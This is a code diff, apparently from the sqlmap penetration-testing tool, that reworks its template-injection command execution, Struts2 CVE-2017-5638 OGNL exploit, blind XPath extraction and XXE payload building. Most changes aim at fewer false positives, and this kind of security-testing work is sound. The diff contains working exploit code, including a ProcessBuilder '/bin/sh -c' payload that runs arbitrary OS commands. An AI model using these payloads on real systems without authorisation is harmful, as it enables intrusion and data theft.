True or None (None keeps the _fileRceCapture callback contract).""" + if not page or (baseline and expected in baseline): + return None + return True if expected in page else None + + def _probeRce(place, parameter, engine): - """Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and - return True if the marker is reflected (proving OS command execution is reachable). Used only - to advise the user; it has no side effect beyond echoing a random token.""" + """Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's + RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is + confirmed. The expected result (the product) is NOT present in the request, so no reflection - + encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are + required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is + reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof + - the value comes from shell evaluation into a file we wrote - and self-cleans).""" if not engine.rcePayloads: return False - marker = randomStr(length=12, lowercase=True) original = _originalValue(place, parameter) or "" - for payloadTemplate, _description in engine.rcePayloads: - payload = payloadTemplate.replace("{CMD}", "echo %s" % marker) - page = _send(place, parameter, original + payload) - if page and marker in getUnicode(page): - return True + baseline = getUnicode(_send(place, parameter, original) or "") + + # COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with + # the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision + # run can never fall through the loop and return success with zero executed payloads. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate + continue - # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel - return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker, - lambda readPayload, page: True if (page and marker in getUnicode(page)) else None)) + hit = False + # try each OS/shell family's derived challenge (Unix first, then Windows `set /a`) + for _family, challenge, _framed in _SHELL_FAMILIES: + cmd = challenge(a, b) + for payloadTemplate, _description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", cmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + if _derivedExecuted(page, baseline, expected): + hit = True + break + if hit: + break + + if not hit: + # in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning); + # a Unix-family challenge is fine here (the file channel picks the OS family itself) + hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b), + lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected))) + if not hit: + return False + confirmed += 1 + + return confirmed >= 2 + + +def _framedOutput(page, start, end): + """Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each + marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A + B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B` + separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized - + cannot reproduce it. Finding both markers in order therefore proves execution, and the text between + them is genuine output. Returns the sliced text or None.""" + if not page or start not in page: + return None + i = page.index(start) + len(start) + j = page.find(end, i) + if j < 0: + return None + return page[i:j].strip() def _executeCommand(place, parameter, engine, cmd): - """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one - produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened - Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE).""" + """Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's + output between two random markers so it slices out cleanly - immune to dynamic page material and to + reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell + (no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band + stdout is reflectively blocked (see _FILE_RCE).""" safeCmd = _escapeSingleQuoted(cmd) original = _originalValue(place, parameter) or "" baseline = _send(place, parameter, original) + # (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two + # fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows), + # so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot + # forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins. + for _family, _challenge, framed in _SHELL_FAMILIES: + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb)) + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", framedCmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + out = _framedOutput(page, start, end) + if out is not None: + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) + return + + # (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote) + output = _fileRceCapture(place, parameter, engine, original, cmd, + lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) + return + + # (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a + # baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request + # id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The + # command DID execute (blind), but the displayed text may not be its output. for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", safeCmd) page = _send(place, parameter, original + payload) output = _commandOutput(page, baseline, original, payload, engine) if output is not None: - conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) + logger.warning("blind execution confirmed but no reflection-proof output channel; the text " + "below is an UNVERIFIED baseline diff and may include dynamic page material") + conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output)) return - output = _fileRceCapture(place, parameter, engine, original, cmd, - lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) - if output is not None: - conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) - return - logger.warning("no output received for OS command '%s'" % cmd) @@ -893,26 +1089,44 @@ def _s2045Send(url, action): def _probeStruts2Header(url): - """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command - execution) and confirm it echoes back. Returns the marker on success, else None.""" - marker = randomStr(length=16, lowercase=True) - action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker - page = _s2045Send(url, action) - return marker if (page and marker in page) else None + """Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal + marker (which a server that merely reflects the Content-Type header would echo back -> false + positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in + the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can + reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on + confirmed execution, else None.""" + baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker) + # COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an + # all-collision run can never return success without an actually-evaluated challenge. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in (baseline or "") or expected in (str(a) + str(b)): + continue # coincidental collision -> regenerate + action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b) + page = _s2045Send(url, action) + if not (page and expected in page and expected not in (baseline or "")): + return None + confirmed += 1 + return True if confirmed >= 2 else None def _executeStruts2Header(url, cmd): """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is - bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also - carries the action's own HTML.""" - start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) - wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) + bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime + (`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a + reflected header cannot forge it (nor be sliced as fake 'output').""" + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." "(#p.redirectErrorStream(true)).(#pr=#p.start())." "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) page = _s2045Send(url, action) - if start in page and end in page: + if start in page and end in page and page.index(start) < page.index(end): return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") return None diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index da938cc24e3..2aa7922bccd 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import XPATH_CHAR_MAX from lib.core.settings import XPATH_CHAR_MIN @@ -31,6 +38,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) # Each detection breakout is paired with a false variant and an (optional) extraction @@ -86,8 +94,6 @@ Slot.__new__.__defaults__ = (None, None, None, None, None, None, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -145,17 +151,29 @@ def _send(place, parameter, value): kwargs = {"raise404": False, "silent": True} if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable + # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence + # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean + # routines and the extraction oracle already reject None, so it can never decide a bit. + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("XPath probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params def _isError(page): - return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or ""))) + # an XPath parser error OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS guard (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: a break-out like `*` or `') or ...` trips a + # DBMS syntax error on a SQL-injectable parameter, and that error page merely differs from a + # normal page - which would otherwise fake a boolean oracle and misreport SQLi as XPath. + page = getUnicode(page or "") + return bool(re.search(XPATH_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -163,7 +181,9 @@ def _backendFromError(page): for backend, regex in XPATH_ERROR_SIGNATURES: if re.search(regex, page): return backend - return "Generic XPath" if _isError(page) else None + # ONLY an actual XPath parser error names a (generic) XPath back-end - never a SQL/DBMS error + # (which _isError also flags now, but must not be attributed to XPath here) + return "Generic XPath" if re.search(XPATH_ERROR_REGEX, page) else None def _probeBackendByParserError(place, parameter): @@ -207,6 +227,10 @@ def _boolean(truthy, falsy): if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: return None + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage @@ -220,6 +244,32 @@ def _makePayload(original, boundary, predicate): return "%s%s%s" % (original, boundary.prefix, predicate) +# XPath 1.0-only boolean predicates: each pair differs ONLY in the XPath construct and flips +# true/false on a real XPath engine, while a SQL back-end errors on all of them (no divergence). +# A battery (not one primitive) survives an injection context that rejects any single function. +# DELIBERATELY EXCLUDED after live testing: substring() (MySQL also has it -> would false-positive) +# and anything using '/*' (a SQL comment opener). Validated SQL-safe on the karlobag MySQL junkyard. +_XPATH_PREDICATES = ( + ("string-length('ab')=2", "string-length('ab')=3"), + ("normalize-space(' a ')='a'", "normalize-space(' a ')='z'"), + ("translate('ab','a','x')='xb'", "translate('ab','a','x')='zz'"), +) + + +def _xpathConfirm(place, parameter, original, boundary): + """Confirm the injection context actually evaluates XPath, not SQL. The `' or '1'='1` break-out + family is IDENTICAL to classic SQL injection, so without a positive XPath-only proof a SQL- + injectable parameter would false-positive as XPath. Try the whole battery (wrapped in the SAME + verified boundary); ANY member that flips true/false proves an XPath parser.""" + for truePred, falsePred in _XPATH_PREDICATES: + truePayload = _makePayload(original, boundary, truePred) + falsePayload = _makePayload(original, boundary, falsePred) + if _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) is not None: + return True + return False + + def _detectBoolean(place, parameter): """Return (template, payload, boundary) for boolean-blind XPath injection. boundary is None for detection-only breakouts (wildcard, union).""" @@ -237,15 +287,16 @@ def _detectBoolean(place, parameter): lambda p=falseSpecific: _send(place, parameter, p)) if template: boundary = _BREAKOUT_BOUNDARY.get(breakout) + # an extractable (boundary-carrying) break-out shares its syntax with SQL injection; + # require an XPath-specific confirm before accepting it, else keep looking + if boundary and not _xpathConfirm(place, parameter, original, boundary): + continue return template, truePayload, boundary - # Wildcard: only useful for bool differentiation, not enumeration - if original: - template = _boolean(lambda: _send(place, parameter, "*"), - lambda: _send(place, parameter, SENTINEL)) - if template: - return template, "*", None - + # NOTE: no bare `*`-vs-sentinel wildcard fallback. A wildcard that returns more rows than a random + # term is normal search behavior, not proof of an XPath query-boundary escape, and it carries no + # boundary to confirm XPath (vs SQL) or to drive extraction. Detection rests only on an XPath- + # confirmed boolean break-out (above). return None, None, None @@ -276,6 +327,15 @@ def _xpathQuote(s): return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"')) +def _extractionBase(original, boundary): + """The base value the EXTRACTION payloads use (and therefore the base the oracle must be + calibrated with). An OR-style boundary is always-true whenever the original branch matches, so + extraction replaces the base with a non-matching SENTINEL; an AND-style boundary needs the + original branch to match, so it keeps the original. Calibrating with a different base than + extraction uses was the reviewer's core defect.""" + return SENTINEL if " or " in (boundary.prefix or "") else (original or "x") + + class _XPathPayloadBuilder(object): """Build XPath boolean predicates for blind tree-walking using the verified injection boundary from detection. Each method returns a complete payload.""" @@ -323,38 +383,60 @@ def charIndexAtLeast(self, target, pos, n): return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) -def _makeOracle(place, parameter, template): - """Build an oracle from a verified true template. extract(payload) returns - True when the response is closer to the true template than to the false page.""" +def _makeOracle(place, parameter, boundary, base): + """Build an extraction oracle by RECALIBRATING true/false models from the FINAL extraction base + + boundary - the SAME base the _XPathPayloadBuilder uses for every later predicate (SENTINEL for an + OR-style boundary, the original value for an AND-style one). Calibrating with the original value + while extraction ran with SENTINEL made the models mismatch the actual probes. Send the boundary's + own `true()` / `false()` predicates on that base, reproduce each, require them SEPARABLE; else + return None so extraction is disabled rather than emitting fabricated data.""" cache = {} def request(payload): + # Cache ONLY usable responses. A transient failure (timeout / 429 / intermittent 5xx / reset) + # must never be cached as if it were the answer - it would freeze a wrong bit for every later + # bisection step. An unusable response is re-sent on the next call instead. if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page return cache[payload] - falsePage = request(SENTINEL) + truePayload = _makePayload(base, boundary, "true()") + falsePayload = _makePayload(base, boundary, "false()") + trueModel = request(truePayload) + falseModel = request(falsePayload) - def oracle(payload): - page = request(payload) - if page is None or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + # both models must be present, non-error, independently reproducible, and separable + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # indistinguishable -> can't extract + return None def extract(payload): + # A transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit(), which re-sends and ultimately raises InconclusiveError + # (so the value aborts) rather than pre-deciding a False bit that corrupts the bisection. page = request(payload) - if page is None or _isError(page): - return False - trueRatio = _ratio(template, page) - falseRatio = _ratio(falsePage, page) - # Require either an unambiguous match against the template or a - # clear separation from the false page (minimum 5 %pt margin) - return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05 + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) oracle.extract = extract - oracle.template = template - oracle.falsePage = falsePage + oracle.template = trueModel + oracle.falsePage = falseModel oracle.cache = cache return oracle @@ -387,43 +469,57 @@ def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH): value = "" probes = 0 - for _ in xrange(maxLen): - found = False + try: + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 - for cp in _CHARSET: - candidate = value + chr(cp) - probes += 1 + if oracle.extract(getter(builder, path, candidate)): + value = candidate + found = True + break - if oracle.extract(getter(builder, path, candidate)): - value = candidate - found = True + if not found: break - if not found: - break - - if value.endswith(" "): - value = value.rstrip() - break + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # the oracle stayed ambiguous after retries -> ABORT this value rather than silently + # truncate it with a wrong bit (returning None marks it unavailable, not fabricated) + logger.warning("XPath extraction aborted for a value (oracle inconclusive after retries)") + return None logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value))) return value if value else None def _inferCount(oracle, builder, path, countFn, maxCount=128): - """Binary search for a count value using predicate 'count(...)>=N'.""" + """Binary search for a count value using predicate 'count(...)>=N'. Returns the count, or None + when the oracle is inconclusive - NEVER 0, because a real 0 means 'this element is a leaf' and the + tree walker would then fabricate scalar text for a node whose child count is actually UNKNOWN.""" - if not oracle.extract(countFn(builder, path, 1)): - return 0 - - lo, hi = 1, maxCount - while lo < hi: - mid = (lo + hi + 1) // 2 - if oracle.extract(countFn(builder, path, mid)): - lo = mid - else: - hi = mid - 1 - return lo + try: + if not oracle.extract(countFn(builder, path, 1)): + return 0 + + lo, hi = 1, maxCount + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(countFn(builder, path, mid)): + lo = mid + else: + hi = mid - 1 + return lo + except InconclusiveError: + # unknown must NOT collapse to 0 (that reads as a leaf); signal it so the walker marks the + # node partial instead of inventing a structurally-plausible but wrong empty/leaf element + logger.warning("XPath count inference inconclusive (oracle ambiguous after retries)") + return None def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): @@ -436,36 +532,41 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): lot when walking a whole document tree. Characters outside the charset are surfaced as '?' so the rest of the value is still recovered.""" - if not oracle.extract(builder.stringLengthAtLeast(target, 1)): - return None - - lo, hi = 1, maxLen - while lo < hi: - mid = (lo + hi + 1) // 2 - if oracle.extract(builder.stringLengthAtLeast(target, mid)): - lo = mid - else: - hi = mid - 1 - length = lo - - chars = [] - probes = 0 - last = len(_CS_ORDS) - 1 - for pos in xrange(1, length + 1): - probes += 1 - if not oracle.extract(builder.charPresent(target, pos)): - chars.append("?") - continue + try: + if not oracle.extract(builder.stringLengthAtLeast(target, 1)): + return None + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(builder.stringLengthAtLeast(target, mid)): + lo = mid + else: + hi = mid - 1 + length = lo - clo, chi = 0, last - while clo < chi: - cmid = (clo + chi + 1) // 2 + chars = [] + probes = 0 + last = len(_CS_ORDS) - 1 + for pos in xrange(1, length + 1): probes += 1 - if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): - clo = cmid - else: - chi = cmid - 1 - chars.append(chr(_CS_ORDS[clo])) + if not oracle.extract(builder.charPresent(target, pos)): + chars.append("?") + continue + + clo, chi = 0, last + while clo < chi: + cmid = (clo + chi + 1) // 2 + probes += 1 + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + clo = cmid + else: + chi = cmid - 1 + chars.append(chr(_CS_ORDS[clo])) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("XPath string inference aborted (oracle inconclusive after retries)") + return None value = "".join(chars) logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length)) @@ -485,61 +586,84 @@ def _walkTree(oracle, builder, path="/*", depth=0): logger.info("discovered element: '%s'" % name) + # None => inconclusive (NOT a real count). An unknown child/attribute count must leave the node + # PARTIAL: never treat unknown as a leaf (which would fabricate scalar text) or iterate a phantom + # range - only enumerate when the count is a confirmed, positive integer. childCount = _inferCount(oracle, builder, path, lambda b, p, c: b.childCount(p, c), maxCount=32) - if childCount >= 32: + if childCount is None: + logger.warning("element '%s' child count is inconclusive; marking node partial" % name) + elif childCount >= 32: logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) attrCount = _inferCount(oracle, builder, path, lambda b, p, c: b.attributeCount(p, c), maxCount=16) - if attrCount >= 16: + if attrCount is None: + logger.warning("element '%s' attribute count is inconclusive; some attributes may be omitted" % name) + elif attrCount >= 16: logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) attributes = [] - for i in xrange(1, attrCount + 1): + for i in xrange(1, (attrCount or 0) + 1): attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i)) if not attrName: continue attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i)) - attributes.append({"name": attrName, "value": attrValue or ""}) - logger.info(" attribute: @%s='%s'" % (attrName, attrValue or "")) + # None => inconclusive (aborted) attribute value; mark it visibly, don't blank it into "" + shown = INCONCLUSIVE_MARK if attrValue is None else attrValue + attributes.append({"name": attrName, "value": shown}) + logger.info(" attribute: @%s='%s'" % (attrName, shown)) + # only a CONFIRMED zero child count means "leaf" -> infer its scalar text; an unknown (None) count + # must not be read as a leaf text = None if childCount == 0: text = _inferString(oracle, builder, "string(%s)" % path) children = [] - for i in xrange(1, childCount + 1): + for i in xrange(1, (childCount or 0) + 1): childPath = "%s/*[%d]" % (path, i) child = _walkTree(oracle, builder, childPath, depth + 1) if child: children.append(child) + # PARTIAL when a count is unknown (None) OR a cap was hit (>=32 children / >=16 attributes) - a + # truncated node is not a complete one + partial = (childCount is None or attrCount is None + or (childCount is not None and childCount >= 32) + or (attrCount is not None and attrCount >= 16)) return { "name": name, "path": path, "children": children, "attributes": attributes, "text": text, + "partial": partial, } def _treeToTable(node): - """Flatten a tree node to (columns, rows) for grid output.""" + """Flatten a tree node to (columns, rows) for grid output. A node whose child/attribute count was + inconclusive is flagged (Element name suffixed with ' [partial]') so the recovered structure is + visibly distinguished from a fully-enumerated one.""" columns = ["Path", "Element", "Attribute", "Value"] rows = [] def _flatten(n, depth=0): path = n["path"] - rows.append([path, n["name"], "", ""]) + partial = n.get("partial") + name = n["name"] + (" [partial]" if partial else "") + # keep the bare element row when the node is PARTIAL (so a partial node with no recovered + # attributes/children/text still appears - it must not be filtered away as if fully empty) + rows.append([path, name, "", "[partial - enumeration inconclusive]" if partial else ""]) for attr in n.get("attributes", []): - rows.append([path, n["name"], "@" + attr["name"], attr["value"]]) + rows.append([path, name, "@" + attr["name"], attr["value"]]) if n.get("text"): - rows.append([path, n["name"], "text()", n["text"]]) + rows.append([path, name, "text()", n["text"]]) for child in n.get("children", []): _flatten(child, depth + 1) @@ -605,15 +729,23 @@ def xpathScan(): template, payload, boundary = _detectBoolean(place, parameter) if template: if boundary and boundary.extractable: - found += 1 backend = backendHint or "Generic XPath" - logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) + original = _originalValue(place, parameter) or "" + oracle = _makeOracle(place, parameter, boundary, _extractionBase(original, boundary)) + found += 1 if conf.beep: beep() - - oracle = _makeOracle(place, parameter, template) + if oracle is None: + # detection is confirmed, but the extraction true/false models are not + # reliably separable - report the finding WITHOUT extracting (never emit + # fabricated tree data from an unstable oracle) + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend)) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: XPath boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) slots.append(Slot(place=place, parameter=parameter, backend=backend, - oracle=oracle, template=template, payload=payload, + oracle=oracle, template=oracle.template, payload=payload, boundary=boundary)) continue @@ -653,13 +785,8 @@ def xpathScan(): return original = _originalValue(slot.place, slot.parameter) or "x" - # OR-style boundaries always-true if the original branch matches, so use a - # sentinel that is guaranteed not to appear as a field value. AND-style - # boundaries need the original branch to match; keep the original there. - if " or " in slot.boundary.prefix: - base = SENTINEL - else: - base = original + # SAME base the oracle was calibrated with (see _extractionBase / _makeOracle) + base = _extractionBase(original, slot.boundary) builder = _XPathPayloadBuilder(base, slot.boundary) oracle = slot.oracle diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 1e62de59a59..50bc5375362 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -16,6 +16,7 @@ from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,8 +35,13 @@ from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_LOCATION_SWEEP_MAX from lib.core.settings import XXE_TIME_THRESHOLD +from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib # Fresh per-scan sentinel token. Deliberately a random opaque string (never # root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and @@ -50,6 +56,11 @@ # Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). _OOB_CONSENT = None +# Latched leaf text-node location that the in-band reflection sweep proved workable. Every subsequent +# body-injection tier (`_placeRef` with index left as None) reuses it, so once the reflecting node is +# found the file-read/harvest/XInclude tiers all target that same spot instead of always the first leaf. +_PLACE_INDEX = 0 + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -139,57 +150,152 @@ def _send(body): return "" +def _scanDoctype(xml): + """Non-resolving lexical scan for a DOCTYPE declaration. Returns {start, subsetOpen, subsetClose, + end} byte offsets (subsetOpen/subsetClose None when there is no internal subset), or None when the + document has no DOCTYPE. Tracks quote state, comments and the internal subset so a '>' or ']>' + sitting inside a quoted entity value, a comment, or a nested markup declaration does NOT + prematurely terminate the scan - a plain regex mis-detects every one of those and either truncates + the DOCTYPE or finds a phantom subset close, corrupting the built payload. This scanner never + resolves entities or fetches external ids; it only locates boundaries.""" + m = re.search(r"", i + 4) + i = (end + 3) if end != -1 else n + elif c in ('"', "'"): + quote = c + i += 1 + elif c == '[' and subsetOpen is None: + subsetOpen = i + j, depth, iq = i + 1, 0, None + while j < n: # scan the internal subset to its matching ']' + cj = xml[j] + if iq: + if cj == iq: + iq = None + j += 1 + elif xml.startswith("", j + 4) + j = (e + 3) if e != -1 else n + elif cj in ('"', "'"): + iq = cj + j += 1 + elif cj == ']' and depth == 0: + subsetClose = j + break + else: + if cj == '<': + depth += 1 + elif cj == '>' and depth > 0: + depth -= 1 + j += 1 + i = (subsetClose + 1) if subsetClose is not None else n + elif c == '>': + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": i + 1} + else: + i += 1 + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": n} + + +def _contentStart(xml): + """Offset at which document-element content begins: just past a DOCTYPE (located by the lexical + scanner, so a quoted '>' / comment / CDATA inside it is not mistaken for its end), else just past + the XML prolog, else 0. Text-node operations start here so they never touch the DTD.""" + doctype = _scanDoctype(xml) + if doctype: + return doctype["end"] + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + return prolog.end() if prolog else 0 + + def _buildDoctype(xml, rootName, internalSubset): """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. A document may already declare a DOCTYPE - injecting a second one is invalid XML and every parser rejects it, so we splice into the existing declaration - instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + instead (into its internal subset, or by adding one to a subset-less DOCTYPE). + Boundaries come from the lexical scanner, not a regex, so a quoted '>' or a + comment inside an existing DOCTYPE cannot misplace the splice.""" - existing = re.search(r"\[]*\[", xml) - if existing: + doctype = _scanDoctype(xml) + if doctype and doctype["subsetOpen"] is not None: # Splice our declarations into the existing internal subset. - insertAt = xml.index('[', existing.start()) + 1 + insertAt = doctype["subsetOpen"] + 1 return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] - subsetless = re.search(r"\[]*>", xml) - if subsetless: + if doctype: # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): 